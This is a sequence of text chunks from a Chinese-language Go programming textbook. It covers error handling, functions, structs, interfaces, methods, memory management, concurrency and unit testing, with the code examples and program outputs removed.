可以用fmt创建错误对象。想要返回包含错误参数的更有信息量的字符串时，可以用fmt.Errorf()来实现，它和fmt.Printf()完全一样，接收有一个或多个格式占位符的格式化字符串和相应数量的占位变量。和打印信息不同的是，它用这些格式化字符串信息生成错误对象。例如： 7.1.2 panic 在Go语言中，执行错误（例如尝试超出数组范围的索引）会触发运行时异常，即panic，相当于使用实现了接口类型runtime.Error调用内置函数panic()。运行时异常用来表示非常严重的不可恢复的错误。写法如下： 必须先声明defer，才能在defer修饰的函数中捕获到（recover）异常。普通函数在执行的时候发生了运行时异常，则运行defer（如有），defer处理完后再返回。 在多层嵌套的函数调用中调用异常，可以马上中止当前函数的执行，defer语句保证执行并把控制权交还给接收到异常的函数调用者。这样向上冒泡直到最顶层，并执行（每层的）defer，在栈顶程序崩溃，并在命令行中用运行时异常的值报告异常情况。这个终止过程就是panicking。 一般不要随意用panic()来中止程序，必须尽力补救异常和错误以便让程序能继续执行。 在自定义包中需要做好错误处理和异常处理，这是所有自定义包都应该遵守的规则。 （1）在包内部，应该用recover()对运行时异常进行捕获。 （2）向包的调用者返回错误值（而不是直接发出异常）。 recover()的调用仅当它在defer修饰的函数中被直接调用时才有效。 下面的程序通过recover()函数捕获了两种异常：一种是内部严重错误导致的异常，另一种是程序主动发出的异常。 程序输出： 7.1.3 recover 正如名字一样，recover()内建函数用于从异常或错误场景中恢复，让程序可以从异常中重新获得控制权，停止中止过程进而恢复正常执行。函数签名如下： recover()函数只能在defer修饰的函数中使用，用于取得异常传递过来的错误值。如果是正常执行，调用recover()函数会返回nil，且没有其他效果。如果异常传递过来的是nil值，则recover()函数返回的值也为nil，所以异常时的参数值不使用nil。 异常会使栈被展开直到defer修饰的函数中的recover()被调用或者程序中止（如没有recover()，则会导致程序中止并用异常传递的值来报告异常情况）。例如： 7.2 关于defer 7.2.1 defer的三个规则 说到错误处理，就不得不提defer。先说说它的规则。 规则一：defer声明时，其后面函数参数会被实时解析。 规则二：defer执行顺序为先进后出（FILO）。 规则三：defer可以读取函数的有名返回值。 这三个规则用起来比较简单，但也需要注意代码陷阱，下面用代码说明。 规则一的实例代码如下： 程序输出： 规则二实例代码如下： 程序输出： 上面讲了两条规则，第三条规则其实也不难理解，就是可以改变有名返回值。 程序输出： 这是由于在Go语言中，return语句不是原子操作，最先是所有返回值在进入函数时都会初始化为其类型的零值（姑且称为ret赋值），退出时先给返回值赋值，然后执行defer命令，最后才是return操作。过程如图7-1所示。 图7-1 有defer的return过程 如果是有名返回值，返回值变量可视为引用赋值，能被defer的代码修改。而在匿名返回值时，给ret的值相当于传值赋值，defer的代码不能直接修改。例如： 上面函数签名中的i就是有名返回值，如果fun1()中定义了defer代码块，是可以改变返回值i的，函数返回语句return i可以简写为return。 综合以上规则，在下面这个例子里列举了几种情况，读者可以好好琢磨琢磨。 在fun1()(i int)有名返回值情况下，return最终返回的实际值和期望的return 0有较大出入。因为在fun1() (i int)中，如果return 100或return 0，那么i的值实际上分别是100或0。 在上面代码中，如果return 100，这改变了有名返回值i，而defer可以读取有名返回值，所以defer1打印101，defer打印102，返回值最终为102。因此一般直接写为return。 这点要注意，有时函数可能返回非希望的值，所以改为匿名返回也是一种办法。具体请看下面输出。 根据图7-1所示，上面的func3函数可以修改为直观明了的代码。 7.2.2 使用defer计算函数执行时间 根据defer延迟执行的特性，可以利用它来计算代码块的执行时间。例如： 程序输出： 从代码输出可以看到，timeCost()准确地计算出了代码块的执行时间。这在某些需要计算执行时间的地方比较有用。"},
    {"text": "未知 第8章 函数 8.1 函数（function） 8.1.1 函数介绍 Go语言函数的基本组成是：关键字func、函数名、参数列表、返回值、函数体和返回语句。"},
    {"text": "函数签名由函数参数、返回值以及它们的类型组成。 如： 如果两个函数的参数列表和返回值列表的变量类型能一一对应，那么这两个函数就有相同的签名，下面的testa与testb具有相同的函数签名。"},
    {"text": "函数签名中的最后传入参数可以具有前缀为...的类型（...int），这样的参数称为可变参数，并且可以使用零个或多个参数来调用该函数，这样的函数称为变参函数。"},
    {"text": "函数的参数和返回值列表始终带括号，但如果只有一个未命名的返回值（且只有此种情况），则可以将其写为未加括号的类型。 一个函数也可以拥有多个返回值，返回类型之间需要使用逗号分隔，并使用小括号()将它们括起来。"},
    {"text": "函数也可以在表达式中赋值给变量，这样作为表达式中的右值出现，称为函数值字面量（function literal）。 函数值字面量是一种表达式，它的值被称为匿名函数，例如： 下面代码对以上两种情况都做了定义和调用。"},
    {"text": "如果希望函数可以直接修改参数的值，而不是对参数的副本进行操作，则需要将参数的地址传递给函数，这就是按引用传递，比如Function(&arg1)，此时传递给函数的是一个指针。 如果传递给函数的是一个指针，则可以通过这个指针来修改对应地址上的变量值。"},
    {"text": "内置函数make()和new()都和内存分配有关，但也有差异，见表8-1。 表8-1 内置函数make()和new() 内置函数make()作用于slice、map和channel三种数据类型时，参数及作用有些区别，见表8-2。 表8-2 make()参数说明 内置函数make()的实际使用举例见下面代码以及注释： new(T)内置函数在运行时为该类型的变量分配内存，返回指向它的类型*T的值，并对变量初始化。 例如： new(S)为S类型的变量分配内存，并初始化（a=0，b=0.0），返回包含该位置地址的类型*S的值。"},
    {"text": "slice、map和channel这三种数据类型声明时，可设置长度或容量，所以通过内置函数len()和cap()可以得到对应变量的长度与容量，见表8-3。"},
    {"text": "表8-3 内置函数len()和cap() 对于len(s)和cap(s)，如果s为nil值，则两个函数的取值都是0，此外还需要记住一个规则： 在Go语言中，常量在某些计算条件下也可以通过表达式计算得到。"},
    {"text": "假设s是字符串常量，则表达式len(s)是常量。 如果s的类型是数组或指向数组的指针而表达式不包含通道接收或（非常量）函数调用，则表达式len(s)和cap(s)是常量，否则len和cap的调用不是常量。"},
    {"text": "例如： 开发人员经常需使用内置函数append()、copy()、delete()和close()来处理slice、map和channel这三种数据类型的变量，以便管理这些数据类型的元素，见表8-4。 表8-4 内置函数append()、copy()、delete()和close() 内置函数append()是变参函数。 例如： append()函数常常用来附加切片元素，将零个或多个值x附加到S类型的切片s，它的可变参数必须是切片类型，并返回结果切片，也就是S类型。"},
    {"text": "内置函数complex()、real()和imag()主要作用于复数，见表8-5。 表8-5 内置函数（complex()、real()和imag()） 内置函数complex根据浮点实部和虚部构造复数值，而real和imag则提取复数值的实部和虚部。 对于complex()函数，两个参数必须是相同的浮点类型，返回类型是具有相应浮点组成的复数类型。"},
    {"text": "对于real()和imag()函数，参数必须是复数类型，返回类型是相应的浮点类型：float32一般为complex64返回类型，float64一般为complex128返回类型。"},
    {"text": "内置函数panic()和recover()在错误与异常处理方面有重要作用，见表8-6。 表8-6 内置函数panic()和recover() panic()和recover()可以协助报告和处理运行时异常或程序定义的错误。"},
    {"text": "例如： 程序输出： 8.1.5 匿名函数 函数值字面量是一种表达式，它的值称为匿名函数。 从形式上看，当不给函数起名字的时候，可以使用匿名函数，例如： 这样的函数不能够独立存在，但可以被赋值于某个变量，即保存函数的地址到变量中： 然后通过变量名对函数进行调用： 当然，也可以直接对匿名函数进行调用，注意匿名函数的最后面加上括号并填入参数值，如果没有参数，也需要加上空括号，代表直接调用： 下面是一个计算从1～100万整数的总和的匿名函数。"},
    {"text": "闭包可被允许调用定义在其环境下的变量，可以访问它们所在的外部函数中声明的所有局部变量、参数和声明的其他内部函数。 闭包继承了函数声明时的作用域，作用域内的变量都被共享到闭包的环境中，因此这些变量可以在闭包中操作，直到被销毁。"},
    {"text": "实质上，闭包是由函数及其相关引用环境组合而成的实体(即：闭包=函数+引用环境)。 闭包在运行时可以有多个实例，不同的引用环境和相同的函数组合可以产生不同的实例。 由闭包的实质含义，可以推断出：闭包获取捕获变量相当于引用传递，而非值传递； 对于闭包函数捕获的常量和变量，无论闭包何时何处被调用，闭包都可以使用这些常量和变量，而不用关心它们表面上的作用域。 通过下面代码来看看闭包的使用。 程序输出： 强调一点，G是闭包中被捕获的全局变量，因此，对于每一次引用，G的地址都是固定的。 i是函数内部局部变量，地址也是固定的，它们都可以被闭包保持状态并修改。"},
    {"text": "8.1.6 变参函数 可变参数也就是不定长参数，支持可变参数列表的函数可以支持任意个传入参数，比如fmt.Println函数就是一个支持可变长参数列表的函数。"},
    {"text": "空结构体如下所示： 某个具有六个字段的结构体如下所示： 对于匿名字段，必须将其指定为类型名称T或指向非接口类型名称*T的指针，并且T本身可能不是指针类型。"},
    {"text": "使用new()函数给一个新的结构体变量分配内存，返回指向已分配内存的指针。 new(S)为S类型的变量分配内存并初始化（a=0，b=0.0），返回包含该位置地址的类型*S的值。 一般的惯用方法是t:=new(T)，变量t是一个指向T的指针，此时结构体字段的值是它们所属类型的零值。 也可以写成var t T，也会给t分配内存，并零值化内存，但这个时候t是类型T。"},
    {"text": "9.1.2 结构体特性 1.结构体的内存布局 Go语言中，结构体和它所包含的数据在内存中是以连续块的形式存在的，即使结构体中嵌套有其他的结构体，这在性能上带来了很大的优势。"},
    {"text": "9.1.3 匿名字段 Go语言结构体中可以包含一个或多个匿名（内嵌）字段，即这些字段没有显式的名字，只有字段的类型是必需的，此时类型就是字段的名字（这一特征决定了在一个结构体中，每种数据类型只能有一个匿名字段）。 匿名（内嵌）字段本身也可以是一个结构体类型，即结构体可以包含内嵌结构体。 例如： Go语言结构体中这种含匿名（内嵌）字段和内嵌结构体的结构，可近似地理解为面向对象语言中的继承概念。 Go语言中的继承是通过内嵌或组合来实现的，所以在Go语言中，与继承相比，组合更受青睐。 9.1.4 嵌入与聚合 结构体中包含匿名（内嵌）字段叫作嵌入或者内嵌。 如果结构体中字段包含了类型名和字段名，则叫作聚合。 聚合在Java和C++中都是常见的方式，而内嵌则是Go的特有方式。 例如： 嵌入在结构体中广泛使用，在Go语言中，如果考虑结构体和接口的嵌入组合方式一共有四种。"},
    {"text": "下面代码只有同时实现了Writer和Reader的接口，才可以说是实现了Teacher接口，即可以作为Teacher的实例。 Teacher接口嵌入了Writer和Reader两个接口，在Teacher接口中，Writer和Reader是两个匿名（内嵌）字段。"},
    {"text": "2.在接口中嵌入结构体 这种方式在Go语言中是不合法的，不能通过编译。 例如： 代码存在语法错误，并不具有实际的含义，编译报错： 接口不能嵌入非接口的类型。"},
    {"text": "3.在结构体中内嵌接口 初始化的时候，内嵌接口要用一个实现此接口的结构体赋值。 或者定义一个新结构体，可以把新结构体作为接收器（receiver），实现接口的方法就实现了接口（先记住这句话，后面在讲述方法时会解释），这个新结构体可作为初始化时实现了内嵌接口的结构体来赋值。 例如： 程序输出： 4.在结构体中嵌入结构体 在结构体中嵌入结构体很好理解，但不能嵌入自身值类型，可以嵌入自身的指针类型即递归嵌套。 在初始化时，内嵌结构体也进行赋值。"},
    {"text": "观察上面的程序输出结果，由stu is:&{{Titan男14 Student}102 0} 可以得知，stu是指针变量。 但是程序在调用此结构体变量的字段时并没有使用到指针，这是因为这里的stu.name相当于(*stu).name，这是一个语法糖，一般都使用stu.name方式来调用，但要知道有这个语法糖存在。"},
    {"text": "当相同的字段名在同一层级出现了两次，而且这个名字被程序直接选择使用了，就会引发一个错误，可以采用逐级选择使用的方式来避免这个错误。"},
    {"text": "但是完整逐级写出来就正常了，例如c.A.a或者c.B.a都可以正确得到对应的值。 解决直接选择使用c.a引发二义性的问题一般应该由程序员逐级完整写出避免错误。"},
    {"text": "下面是一个接口定义的例子： 上面的Stringer是一个接口类型，按照惯例，单方法接口由方法名称加上-er后缀或类似修改来命名，以构造代理名词，如Reader、Writer、Formatter、CloseNotifier等。"},
    {"text": "同一个接口可被多个类型实现，一个类型也可以实现多个接口。 实现某个接口的类型，还可以有其他的方法。 有时甚至都不知道某个类型定义的方法集巧合地实现了另一个接口。"},
    {"text": "类型实现了这个接口，那么接口类型的变量也就可以存放该类型的值。 如下代码所示，结构体A和类型I都实现了接口B的方法f()，所以这两种类型也具有了接口B的一切特性，可以将该类型的值存储在接口B类型的变量中。 程序输出： 如果接口在类型之后才定义，或者二者处于不同的包中，只要类型实现了接口中的所有方法，这个类型就实现了此接口。"},
    {"text": "接口类型I的变量varI中可以包含任何实现了这个接口的类型的值，如果多个类型都实现了这个接口，则需要用一种动态方式来检测它的真实类型，即在运行时确定变量的实际类型。 通常可以使用类型断言（value, ok :=element.(T)）来测试在某个时刻接口变量varI是否包含类型T的值。 varI必须是一个接口变量，否则编译器会报错：invalid type assertion: varI.(T)(non-interface type (type of I) on left)。"},
    {"text": "接口类型向普通类型转换有两种方式：comma-ok断言和type-switch测试。 1.通过type-switch做类型判断 接口变量可以使用一种特殊形式的switch做类型断言。"},
    {"text": "2.comma-ok类型断言 接口变量也可以这样做类型断言： 接口描述了一系列的行为，规定可以做什么行为，“当一个东西，走起来像鸭子，叫起来像鸭子，游泳也像鸭子，那么可以认为它就是一只鸭子”。"},
    {"text": "因为在Go语言中，一个接口值(Interface Value)其实由两部分组成：type:value。 所以在做类型断言时，变量只能是接口类型变量，断言得到的值其实是接口值中对应的类型名。"},
    {"text": "9.2.4 接口与动态类型 在经典的面向对象语言（如C++、Java和C#）中，往往将数据和方法封装为类，类中包含它们两者，并且不能剥离。"},
    {"text": "接受一个（或多个）接口类型作为参数的函数，其实参可以是任何实现了该接口的类型。 实现了某个接口的类型可以被传给任何以此接口为参数的函数。"},
    {"text": "当变量被赋值给一个接口类型的变量时，编译器会检查其是否实现了该接口的所有方法。 也可以通过类型断言来检查接口变量是否实现了相应类型。"},
    {"text": "9.2.6 接口的继承 当一个类型包含（内嵌）另一个类型（实现了一个或多个接口）时，这个类型就可以使用（另一个类型）所有的接口方法。"},
    {"text": "Go语言中方法（method）和函数在形式上很像，是作用在接收器（receiver）上的一个函数，接收器是某种类型的变量。 因此方法是一种特殊类型的函数，只是比函数多了一个接收器（receiver），当然在接口中定义的函数也称为方法（因为最终还是要通过绑定到类型来实现）。 正是因为有了接收器，方法才可以作用于接收器的类型（变量）上，类似于面向对象中类的方法可以作用于类属性上。"},
    {"text": "上面代码中，定义了结构体A，注意f()就是A的方法，(a A)表示接收器。 a是A的实例，f()是它的方法名，方法调用采用object.name即选择器a.f()方式。"},
    {"text": "10.1.1 接收器（receiver） 接收器类型除了不能是指针类型或接口类型外，可以是其他任何类型，不仅仅是结构体类型，也可以是函数类型，还可以是以int、bool、string等为基础的自定义类型。 例如： 程序输出： 接收器不能是一个接口类型，因为接口是一个抽象定义，如果这样做会引发编译错误invalid receiver type。 例如： 接收器不能是一个指针类型。 下面代码中类型Q就是一个指针类型，在接收器(q Q)上定义方法func(q Q) print()会导致编译错误。 但接收器可以是类型的指针。"},
    {"text": "示例如下： 如果有类型T，方法的接收器为(t T)时称为值接收器，该方法称为值方法。 方法的接收器为(t*T)时称为指针接收器，该方法称为指针方法。 类型T（或 *T）上的所有方法的集合叫作类型T（或 *T）的方法集。"},
    {"text": "10.1.2 方法表达式与方法值 在Go语言中，方法调用的方式如下：如有类型X的变量x，m()是其方法，则方法有效调用方式是x.m()；"},
    {"text": "这里了解一下Go语言的选择器（selector），如： 如果x不是包名，则x.f表示x（或* x）的f（字段或方法）。 标识符f（字段或方法）称为选择器（selector），选择器不能是空白标识符。 选择器表达式的类型是f的类型。 选择器f可以表示类型T的字段或方法，或者指嵌入字段T的字段或方法f。"},
    {"text": "在Go语言中，方法的显式接收器(explicit receiver)x是方法x.m()的等效函数X.m()的第一个参数，所以x.m()和X.m(x)是等价的，具体示例如下： t.Mv(1)和T.Mv(t, 1)效果是一致的，这里显式接收器t可以当作等效函数T.Mv()的第一个参数。"},
    {"text": "但是如果基于接收器类型，可以通过一种变通的方法达到这个目的：具有同样名字的方法可以在两个或多个不同的接收器类型上存在，比如在同一个包里这么做是允许的： 10.1.3 自定义类型方法与匿名嵌入 Go语言中类型加上它的方法集等价于面向对象中的类。 但在Go语言中，类型的代码和绑定在它上面的方法集的代码可以不放置在同一个文件中，它们可以保存在同一个包下的其他源文件中。"},
    {"text": "若类型是在其他的或是非本地的包里定义的，则在它上面定义方法时会发生错误。 例如： 程序编译不通过，错误如下： 虽然不能直接为非同一包下的类型直接定义方法，但可以以某个类型（比如：int或float）为基础来自定义新类型，然后再为新类型定义方法。"},
    {"text": "程序输出： 但稍微修改上面代码，把type NewInt=MyInt改为type NewInt MyInt，即去掉一个等号“=”使得NewInt变为新类型，则会报程序错误： 因为Ni属于新的自定义类型NewInt，它没有定义print()方法，需要另外定义这个方法。"},
    {"text": "程序输出： 10.1.4 函数和方法的区别 方法相对于函数多了接收器，这是它们之间最大的区别。 函数是直接调用，而方法是作用在接收器上，方法需要类型的实例来调用。"},
    {"text": "当接收器是指针时，方法可以改变接收器的值（或状态），这点函数也可以做到（当参数作为指针传递，即通过引用调用时，函数也可以改变参数的状态）。"},
    {"text": "10.2 指针方法与值方法 10.2.1 指针方法与值方法的区别 有类型T且方法的接收器为(t T)时称为值接收器，该方法称为值方法。 方法的接收器为(t*T)时称为指针接收器，该方法称为指针方法。"},
    {"text": "分析： 由于调用t1.M1()时相当于T.M1(t1)，实参和形参都是类型T，此时在M1()中的t只是t1的值副本，所以M1()的修改不影响t1。 由于M2()是指针方法，调用t1.M2()时相当于T.M2(&t1)，因此M2()中的修改直接作用于指针参数t1，会修改t1的数据。"},
    {"text": "程序输出： 分析： t2.M1()相当于M1(t2)，t2是指针类型，取t2的值并复制一份传给M1。 t2.M2()相当于M2(t2)，都是指针类型，不需要转换。"},
    {"text": "编译不通过： 可以看到，var t2 Intf中，t2是Intf接口类型变量，t1是T类型值变量。 上面错误信息中已经明确了T没有实现接口Intf，所以不能直接赋值。"},
    {"text": "Go语言有关接口与方法的规则如下： 规则一：如果使用指针方法来实现一个接口，那么只有指向那个类型的指针才能够实现对应的接口。 规则二：如果使用值方法来实现一个接口，那么那个类型的值和指针都能够实现对应的接口。"},
    {"text": "程序输出： 执行结果表明，t1没有实现Intf方法集，不是Intf接口类型； 而&t1则实现了Intf方法集，是Intf接口类型，可以调用相应方法。 t1这个结构体值变量本身调用值方法或者指针方法都是可以的，这是因为语法糖的存在。"},
    {"text": "1.何时使用值类型 （1）如果接收器是一个字典，函数或者通道，则使用值类型（因为它们本身就是引用类型）。 （2）如果接收器是一个切片，并且方法不执行切片重组操作，也不重新分配内存给切片，则使用值类型。 （3）如果接收器是一个小的数组或者原生的值类型结构体类型（比如time.Time类型），而且没有可修改的字段和指针，又或者接收器是一个简单的基本类型（如int和string），则使用值类型。 值类型的接收器可以减少一定数量的内存垃圾生成，值类型接收器一般会在栈上分配到内存（但也不一定），在没搞明白代码想干什么之前，不要为这个原因而选择值类型接收器。 2.何时使用指针类型 （1）如果方法需要修改接收器里的数据，则接收器必须是指针类型。 （2）如果接收器是一个包含了sync.Mutex或者类似同步字段的结构体，则接收器必须是指针，这样可以避免复制。 （3）如果接收器是一个大的结构体或者数组，那么指针类型接收器更有效率。 （4）如果接收器是一个结构体、数组或者切片，它们中任意一个元素是指针类型而且可能被修改，建议使用指针类型接收器，这样会增加程序的可读性。 最后，如果实在不知道该使用哪种接收器，那么使用指针接收器是比较稳妥的。"},
    {"text": "10.3 匿名类型的方法提升 当一个匿名类型被嵌入到结构体中时，匿名类型的可见方法也同样被内嵌，这在效果上等同于外层类型继承了这些方法。"},
    {"text": "10.3.1 匿名类型的方法调用 当嵌入一个匿名类型时，这个类型的方法就变成了外部类型的方法，但是当它的方法被调用时，方法的接收器是内部类型（嵌入的匿名类型），而非外部类型。"},
    {"text": "然而，这些字段和方法也同样被提升到了外部类型，可以直接访问： 10.3.2 方法提升规则 给定一个结构体S和一个类型T，Go语言中匿名嵌入类型的方法集提升规则如下： （1）如果S包含匿名字段T，则S和*S的方法集都包含具有接收器T的提升方法。"},
    {"text": "*S的方法集还包含具有接收器*T的提升方法。 （2）如果S包含匿名字段*T，则S和*S的方法集都包含具有接收器T或*T的提升方法。"},
    {"text": "注意：以上规则由于t.Meth()会被自动转换为(&t).Meth()这个语法糖，导致程序员很容易误解上面的规则不起作用，而实际上规则是有效的，在实际应用中可以留意这个问题。"},
    {"text": "但是在Go中存在一个语法糖： 虽然P只有一个方法PeInfo func(main.OtherPeople)，但依然可以调用p.PeName(\"Joke\")。 这里Go自动转为(&p).PeName(\"Joke\")，其调用后结果让人以为p有两个方法，其实这里p只有一个方法。"},
    {"text": "未知 第11章 面向对象与内存 11.1 面向对象 Go语言具有类型和方法，也有接口，虽然没有类型层次结构，但也使得它能够具有面向对象的编程风格。"},
    {"text": "此外，Go语言中的方法比C++或Java更通用，可以为任何类型的数据定义方法，它们不限于结构体（类）。 不过缺少类型层次结构使得Go中的“对象”比C++或Java等语言更轻量级，一般不必刻意在Go中追求面向对象的编程。 11.1.1 Go语言中的面向对象 Go语言没有类概念，而是松耦合的类型、方法以及接口的实现。"},
    {"text": "Go语言实现面向对象的两个关键是结构体和接口，类型（主要是结构体）代替了类，因为Go语言不提供类，但提供了结构体或自定义类型，方法可以被添加到结构体或自定义类型中。"},
    {"text": "2.继承 Go语言中没有显式的继承，而是通过组合实现继承，内嵌（聚合）一个（或多个）想要的数据（自定义类型）或者行为（接口），多重继承可以通过内嵌多个自定义数据类型实现。"},
    {"text": "它们的值为nil，这时对它们的反向引用是不合法的，并且会使程序崩溃： 符号 * 可以放在一个指针前，如（*pointer），那么它将得到这个指针指向地址上所存储的值，这称为反向引用。"},
    {"text": "注意：不能得到一个数字或常量的地址，下面的写法是错误的： 虽然Go语言和C、C++这些语言一样，都有指针的概念，但是指针运算在语法上是不允许的。"},
    {"text": "当调用函数时，如果参数为基础类型，传进去的是值，也就是另外复制了一份参数到当前的函数调用栈。 参数为引用类型时，传进去的基本都是引用。"},
    {"text": "内存管理中的内存区域一般包括堆内存（heap）和栈内存（stack），栈内存主要用来存储当前调用栈用到的简单类型数据，如string，bool，int，float等。"},
    {"text": "而复杂的复合类型占用的内存往往相对较大，存储在堆内存中，回收频率相对较低，代价也较大，因此传引用或指针可以避免进行成本较高的复制操作，并且节省内存，提高程序运行效率。 因此，在需要改变参数的值或者避免复制大批量数据而节省内存时（也会提高运行效率，毕竟大批量复制也耗费时间）都会选择使用指针。"},
    {"text": "Go语言指针的使用方法是： ■ 定义指针变量。 ■ 为指针变量赋值。 ■ 访问指针变量中指向地址的值。 ■ 在指针类型前面加上*来获取指针所指向的内容。"},
    {"text": "例如： 11.2.3 垃圾回收 Go语言开发者一般不需要通过写代码来释放不再使用的变量或对象占用的内存，在Go语言运行时有垃圾回收器（GC）专门来处理这些事情，它搜索不再使用的变量然后释放它们占用的内存，这是自动垃圾回收。 还有一种是主动垃圾回收，通过显式调用runtime.GC()函数可以显式地触发垃圾回收，这在某些场景下非常有用。 当内存资源不足时调用runtime.GC()，此函数的执行会让系统立即释放不再使用的变量或对象占用的内存。"},
    {"text": "下面代码中的func(p *Person) NewOpen()方法在某些情况下非常有必要这样处理，例如对某些资源占用的申请，使用完后开发人员可能忘记使用defer Close()来销毁这些资源占用，但如果在申请资源的代码中预先设定好runtime包中的函数func SetFinalizer(obj interface{}, finalizer interface{})，则自动垃圾回收或者手动垃圾回收时，都能及时销毁这些资源，释放占用的内存而避免内存泄露。"},
    {"text": "当新分配的内存与上一次垃圾回收后剩余的实时数据的比率达到此百分比时，将触发内存垃圾回收。 例如垃圾回收后当前程序使用了2MB内存，当程序占用的内存达到(1+GOGC/100) MB的2倍即4MB的时候，垃圾回收就会被再次触发，开始进行相关的垃圾回收操作。 开发人员可根据生产情况的实际场景来设置GOGC参数，例如60或是默认100，显然垃圾回收的频率肯定是后者要低。"},
    {"text": "并发是在同一时间处理（dealing with）多件事情。 并行是在同一时间做（doing）多件事情。 并发的目的在于把单个CPU的利用率使用到最高。 并行则需要多核CPU的支持。 Go语言在语言层面上支持并发。"},
    {"text": "当创建很多的协程，并且它们运行在同一个内核线程之上的时候，就需要一个调度器来维护这些协程，确保它们都能使用CPU，并且是尽可能公平地使用CPU资源。"},
    {"text": "N:1 表示多个（N）用户线程始终在一个内核线程上运行，上下文切换很快，但是无法真正利用多核。 1:1 表示一个用户线程只在一个内核线程上运行，这时可以利用多核，但是上下文切换很慢，切换效率很低。 M:N 表示多个协程在多个内核线程上运行，它可以集齐上面两者的优势，但是无疑增加了调度的难度。"},
    {"text": "而M的数量不是唯一的，当M随机挑选P时，也就相当于随机挑选了协程。 所以，当碰到多个协程的执行顺序不是我们想象的顺序时就可以理解了，因为协程进入P管理的队列G是随机的。"},
    {"text": "Go语言里，启动一个goroutine很容易，执行go function就行，所以每有一个go语句执行，runqueue队列就在其末尾加入一个goroutine，在下一个调度点，就从runqueue中取出一个goroutine执行。"},
    {"text": "如此一来，就组成了goroutine运行时的基本结构： ■ 当有一个M返回时，必须尝试取得一个P来运行协程，一般情况下，它会从其他的内核态线程那里截取一个P过来，如果没有拿到，就把协程放在一个global runqueue里，然后自己进入线程缓存。"},
    {"text": "作者的测试计算机CPU默认是4核，对比手动设置CPU在2核时的运行耗时，4核耗时约8s，2核约14s，当然这是一种理想化的测试，因为阶乘运算很快导致unit64溢出为0，所以这个测试并不严谨，但从中仍然可以体会到Go语言在处理并发时代码之简单，控制之方便。"},
    {"text": "最后，runtime.Gosched()用于让出CPU时间片，让出当前goroutine的执行权限，调度器安排其他等待的任务运行，并在下次某个时候从该位置恢复执行。"},
    {"text": "12.1.2 协程使用 在Go语言中，协程的使用很简单，直接在函数（代码块）前加上关键字go即可。 go关键字用来创建一个协程，后面的代码块就是这个协程需要执行的代码逻辑。"},
    {"text": "通道是协程通信的通道，协程之间可以通过它收发消息。 通道是进程内的通信方式，因此通过通道传递对象的过程和调用函数时的参数传递行为比较一致，例如也可以传递指针等。 通道是类型相关的，一个通道只能传递（发送或接收）一种类型的值，这个类型需要在声明通道时指定。"},
    {"text": "■ chan<-表示数据进入通道，要把数据写进通道，对于调用者就是发送。 ■ <-chan表示数据从通道出来，对于调用者就是得到通道的数据，当然就是接收。"},
    {"text": "上面代码中，因为没有指定通道缓冲区的大小，所以默认是阻塞的。 可以建立带缓冲区的通道： 把前面的程序修改如下： 程序输出： 从运行结果可以看到带有缓冲区的通道，在缓冲区有数据而未填满前，读取不会出现阻塞的情况。"},
    {"text": "这种类型的通道要求发送方（协程）和接收方（协程）同时准备好，才能完成发送和接收操作。 如果发送和接收两个协程没有同时准备好，通道会导致先执行发送或接收操作的协程阻塞等待。 这种对通道进行发送和接收操作的通信要求一定是同步的，否则就会发生阻塞。"},
    {"text": "导致通道阻塞的发送和接收动作的条件也会不同。 只有在通道中没有要接收的值时，接收动作才可能会阻塞。 只有在通道没有可用缓冲区被发送的值填充时，发送动作才会阻塞。"},
    {"text": "可以通过内置的close()函数来关闭通道。 ■ 通道不像文件一样需要经常关闭，只有当你确实没有任何发送数据或者想显式地结束循环，才应关闭通道。"},
    {"text": "■ 关闭通道后，无法向通道再发送数据（引发（运行时异常）后导致接收立即返回零值）。 ■ 关闭通道后，可以继续向通道接收数据，不能继续发送数据。"},
    {"text": "12.3.1 互斥锁 Go语言包中的sync包提供了两种锁类型：sync.Mutex和sync.RWMutex，前者是互斥锁，后者是读写锁。 互斥锁是传统的并发程序对共享资源进行访问控制的主要手段，在Go语言中，更推崇使用通道来实现资源共享和通信。 互斥锁由标准库sync包中的Mutex结构体类型实现，只有两个公开方法：调用Lock()获得锁和调用Unlock()释放锁。"},
    {"text": "这是在同步调用互斥锁中常见的问题，一般在一对互斥锁中间不要调用其他函数，即使要用也尽量采用异步的方式。 可以试试把LockA的LockB()调用改为go LockB()。"},
    {"text": "程序输出： 通过程序执行结果可以看到，当有锁释放时，才能进行加锁动作，当G0的锁释放时，等待加锁的G1,G2,G3都会竞争加锁的机会，这里是G1抢到加锁的机会。"},
    {"text": "例如： 程序输出： 12.3.2 读写锁 读写锁是多读单写互斥锁，分别针对读操作和写操作进行锁定和解锁操作，经常用于读次数远远多于写次数的场合。"},
    {"text": "基本遵循原则： ■ 写锁定情况下，对读写锁进行读锁定或者写锁定，都将阻塞，而且读锁与写锁之间是互斥的。 ■ 读锁定情况下，对读写锁进行写锁定，将阻塞； 加读锁时不会阻塞，即可多读。 ■ 对未被写锁定的读写锁进行写解锁，会引发运行时异常。 ■ 对未被读锁定的读写锁进行读解锁时也会引发运行时异常。 ■ 写解锁在进行的同时会试图唤醒所有因进行读锁定而被阻塞的协程。 ■ 读解锁在进行的时候则会试图唤醒一个因进行写锁定而被阻塞的协程。"},
    {"text": "在此类型的方法集合中提供了四个方法： 有关读写锁的实际情况，看看下面代码： 通过程序运行的输出可以看到，在写锁定情况下，对读写锁进行读锁定或者写锁定，都将阻塞。"},
    {"text": "只有在涉及线程安全时才考虑sync.Map，而且sync.Map的使用和字典有较大差异，怎么选择还是看情况再做决定。 例如： 由于sync.Map的Load()方法读取数据时，返回值是空接口类型，所以在使用Load()方法读取到的数据时需要做类型转换，同样sync.Map也是采用了原子级的操作来保证线程安全。"},
    {"text": "在某些时候，原子操作替换锁是有优势的，主要是因为原子操作由底层硬件支持，而锁则由系统提供的API实现，若实现相同的功能，原子操作通常会更有效率。"},
    {"text": "标准库的testing包就是这样一个标准包，专门用来进行单元测试及自动化测试，打印日志和错误报告，方便程序员调试代码。 testing包还包含一些基准测试函数、测试辅助代码和示例函数。 测试函数包括名称以Test开头的单元测试函数和以Benchmark开头的基准测试函数两种。"},
    {"text": "13.1.1 单元测试 开发中经常需要对一个包做单元测试，写一些可以频繁执行的小块测试单元来检查代码的正确性，因此必须写一些Go源文件来测试代码。"},
    {"text": "测试程序是独立的文件，必须属于被测试的包，和这个包的其他程序放在一起，并且文件名满足形式 *_test.go。 由于是独立的测试文件，所以测试代码和包中的业务代码是分开的。"},
    {"text": "Go语言这样规定的好处是不言而喻的，因为在其他语言开发的程序中，经常可以看到代码中注释掉的测试代码，而且有把开发版作为生产版发布到线上导致异常的问题出现。"},
